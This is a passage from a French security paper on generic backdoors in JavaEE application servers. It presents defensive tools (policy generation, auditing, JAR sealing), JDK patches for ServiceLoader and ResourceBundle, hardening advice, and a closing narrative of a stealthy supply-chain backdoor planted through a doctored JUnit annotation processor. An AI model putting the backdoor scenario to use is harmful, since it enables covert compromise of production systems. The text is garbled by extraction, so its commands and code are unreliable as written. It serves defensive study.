$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

